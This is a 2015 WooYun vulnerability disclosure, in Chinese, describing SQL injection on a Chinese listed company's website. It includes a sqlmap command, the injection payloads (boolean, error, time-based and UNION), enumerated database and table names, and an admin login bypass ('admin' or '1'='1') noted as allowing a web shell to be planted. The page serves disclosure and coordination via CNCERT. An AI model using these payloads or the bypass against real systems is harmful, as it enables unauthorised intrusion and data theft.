当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0158099

漏洞标题:上市公司之浙江新和成股份有限公司多出SQL注射(已进入后台)

相关厂商:浙江新和成股份有限公司

漏洞作者: 逆流冰河

提交时间:2015-12-21 02:16

修复时间:2016-01-21 18:22

公开时间:2016-01-21 18:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:14

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-21: 细节已通知厂商并且等待厂商处理中
2015-12-25: 厂商已经确认,细节仅向厂商公开
2016-01-04: 细节向核心白帽子及相关领域专家公开
2016-01-14: 细节向普通白帽子公开
2016-01-24: 细节向实习白帽子公开
2016-01-21: 细节向公众公开

简要描述:

如题

详细说明:

1,注入点:sqlmap -u "http://**.**.**.**/news-x.php?tid=179&id=515" --batch
2,注入信息:
Parameter: tid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: tid=179 AND 2934=2934&id=515
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl ause
Payload: tid=179 AND (SELECT 7514 FROM(SELECT COUNT(*),CONCAT(0x716a7a7671,( SELECT (ELT(7514=7514,1))),0x716b626b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHE MA.CHARACTER_SETS GROUP BY x)a)&id=515
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: tid=179 AND (SELECT * FROM (SELECT(SLEEP(5)))NCqj)&id=515
Type: UNION query
Title: Generic UNION query (NULL) - 23 columns
Payload: tid=-4207 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a7a7671,0x4a6 24d4e596c71734d59,0x716b626b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NUL L,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &id=515
---
[22:15:33] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0
[22:15:33] [INFO] fetching database names
[22:15:33] [INFO] the SQL query used returns 2 entries
[22:15:33] [INFO] retrieved: information_schema
[22:15:33] [INFO] retrieved: newhc
available databases [2]:
[*] information_schema
[*] newhc
3,表
Database: newhc
[41 tables]
+--------------------+
| hxcms_about |
| hxcms_addlist |
| hxcms_address |
| hxcms_admin |
| hxcms_adv |
| hxcms_allsky |
| hxcms_announce |
| hxcms_batch |
| hxcms_bodys |
| hxcms_bodytest |
| hxcms_booking |
| hxcms_buy |
| hxcms_buycar_model |
| hxcms_channel |
| hxcms_class |
| hxcms_classfiy |
| hxcms_coll |
| hxcms_comments |
| hxcms_config |
| hxcms_contact |
| hxcms_dkbuy |
| hxcms_famous |
| hxcms_field |
| hxcms_food |
| hxcms_honors |
| hxcms_job |
| hxcms_joinline |
| hxcms_member |
| hxcms_memup |
| hxcms_network |
| hxcms_news |
| hxcms_order |
| hxcms_orderlist |
| hxcms_orders |
| hxcms_product |
| hxcms_questions |
| hxcms_report |
| hxcms_resume |
| hxcms_select |
| hxcms_travel |
| hxcms_weblink |
+--------------------+
管理员密码已经注入出来,但是不能破解之
4,后台地址:
http://**.**.**.**/admin/
存在注入漏洞:
admin' or '1'='1 可以直接登录进去,可种马

漏洞证明:

Fix

修复方案:

Fix

版权声明:转载请注明来源 逆流冰河@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-25 11:11

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给浙江分中心,由浙江分中心后续协调网站管理单位处置

最新状态:

暂无